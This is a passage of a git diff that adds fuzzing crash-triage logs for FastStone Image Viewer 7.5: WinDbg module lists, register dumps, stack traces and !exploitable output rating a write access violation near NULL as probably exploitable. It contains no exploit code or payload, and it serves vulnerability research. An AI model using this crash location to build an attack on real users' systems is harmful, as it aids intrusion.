C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xFF0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(ff0.1098): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e67b19 edx=00000000 esi=00000000 edi=0fcbcfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.721343803397653600000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.278060000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=5.27649 -1.75353e+006 -2.54852e-030 -3.87364e+024 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f48130 07ec5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00227000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00227000 66558037 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62cd 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00227000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68110/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68110/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..50748c6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68110/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68834/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68834/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68834/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68834/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68834/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..7d8b427 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68834/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68834/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68834/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..5866c46 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68834/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x330: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x330: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(330.9a4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07e27b19 edx=00000000 esi=00000000 edi=0fc40fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.710084804326605920000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.51208e+012 1.19615e-025 8.14344e+012 -8.79011e-033 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f08130 07e85930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00372000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00372000 9c9c5cd7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c9 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00372000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68834/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68834/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..5866c46 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/68834/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x330: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x330: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 